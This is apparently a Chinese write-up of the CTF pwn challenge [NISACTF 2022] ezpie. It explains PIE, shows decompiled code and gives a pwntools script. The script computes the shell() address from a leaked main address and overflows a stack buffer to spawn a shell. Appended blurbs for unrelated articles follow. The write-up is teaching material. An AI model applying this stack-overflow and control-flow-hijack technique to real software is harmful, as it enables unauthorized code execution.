pwn旅行之[NISACTF 2022]ezpie

news/2024/7/26 14:54:49

[NISACTF 2022]ezpie

PIE保护:

​ PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题。

​ 简单地说就是地址随机化。

绕过方式:

​ 首先拿到这个题目的文件,先检查下文件的保护:

root@g01den-virtual-machine:/mnt/shared# checksec pwn
[*] '/mnt/shared/pwn'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      PIE enabled

​ 之后反编译看看情况:

int __cdecl main(int argc, const char **argv, const char **envp)
{setbuf(stdin, 0);setbuf(stdout, 0);puts("OHHH!,give you a gift!");printf("%p\n", main);puts("Input:");vuln();return 0;
}

​ 可以看到,这个题目首先打印出了main函数的地址,所以,可以先试着运行几次程序看看情况:

root@g01den-virtual-machine:/mnt/shared# ./pwn
OHHH!,give you a gift!
0x5664b770
root@g01den-virtual-machine:/mnt/shared# ./pwn
OHHH!,give you a gift!
0x5656b770
root@g01den-virtual-machine:/mnt/shared# ./pwn
OHHH!,give you a gift!
0x56630770

​ 发现这个地址的最后三位数字都是相同的,再来就是根据虚拟内存分页的概念,这个的内存加载的随机化跟动态链接库加载到内存中地址随机化的概念是一样的,都是仅仅只是基地址的随机化,内部的字符之间的偏移是相同的,因此,只要从原文件中知道了偏移地址之后,就可以进行漏洞的利用了。

​ 之后,通过函数的试图,找到了后门函数和危险函数:

ssize_t vuln()
{char buf[40]; // [esp+0h] [ebp-28h] BYREFreturn read(0, buf, 0x50u);
}
int shell()
{return system("/bin/sh");
}

​ 因此,这个题目的大致思路就是,通过接收输出的main函数的地址,再通过偏移量计算到后门函数的地址,之后,进行栈溢出攻击即可。

​ 计算得到栈的偏移量为44:

root@g01den-virtual-machine:/mnt/shared# cyclic -l 0x6161616c
44

​ 由此,脚本就可以这么写了:

from pwn import *elf = ELF('./pwn')
io = process('./pwn')io.recvuntil(b'gift!\n')
main_real = int(io.recv(10),16)
main_add = elf.symbols['main']
shell_add = elf.symbols['shell']
offset = main_add - shell_add
shell_real = main_real - offset
payload = b'A'*44 + p32(shell_real)
io.sendline(payload)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.cpky.cn/p/8690.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

Redis之缓存穿透问题解决方案实践SpringBoot3+Docker

文章目录 一、介绍二、方案介绍三、Redis Docker部署四、SpringBoot3 Base代码1. 依赖配置2. 基本代码 五、缓存优化代码1. 校验机制2. 布隆过滤器3. 逻辑优化 一、介绍 当一种请求,总是能越过缓存,调用数据库,就是缓存穿透。 比如当请求一…

用html编写的招聘简历

用html编写的招聘简历 相关代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</tit…

Vue packages version mismatch 报错解决

问题 npm run dev 运行项目的过程中&#xff0c;报错 Vue packages version mismatch 解决方法 根据报错不难看出是 vue 与 vue-template-compiler 版本产生了冲突&#xff0c;vue 与 vue-template-compiler 的版本是需要匹配的。所以解决的办法就是先修改其中一个的版本将 v…

Golang - 从源码到二进制:探索在国产CPU架构上交叉编译Minio的方法

文章目录 前置知识交叉编译Go 支持的所有操作系统和体系结构组合列出 Go 支持的所有操作系统和体系结构组合 大端、小端minio使用的go版本ABI 官方下载目标编译loongarch架构下的minio编译mipsle架构下的minio编译sw64架构下的minio 前置知识 交叉编译 交叉编译是指在一台主机…

C语言推荐书籍

本书详细讲解了C语言的基本概念和编程技巧。全书共17章。第1章、第2章介绍了C语言编程的预备知识。第3章&#xff5e;第15章详细讲解了C语言的相关知识&#xff0c;包括数据类型、格式化输入/输出、运算符、表达式、语句、循环、字符输入和输出、函数、数组和指针、字符和字符串…

【ArcGIS微课1000例】0104:二位面状数据转三维多面体(建筑物按高度拉伸)

文章目录 一、加载数据二、添加高度字段三、三维拉伸显示四、生成三维体数据五、注意事项一、加载数据 打开ArcScene,加载配套实验数据(0104.rar中的二维建筑物矢量数据,订阅专栏,获取专栏所有文章阅读权限及配套数据),如下图所示: 二、添加高度字段 本实验将二维数据…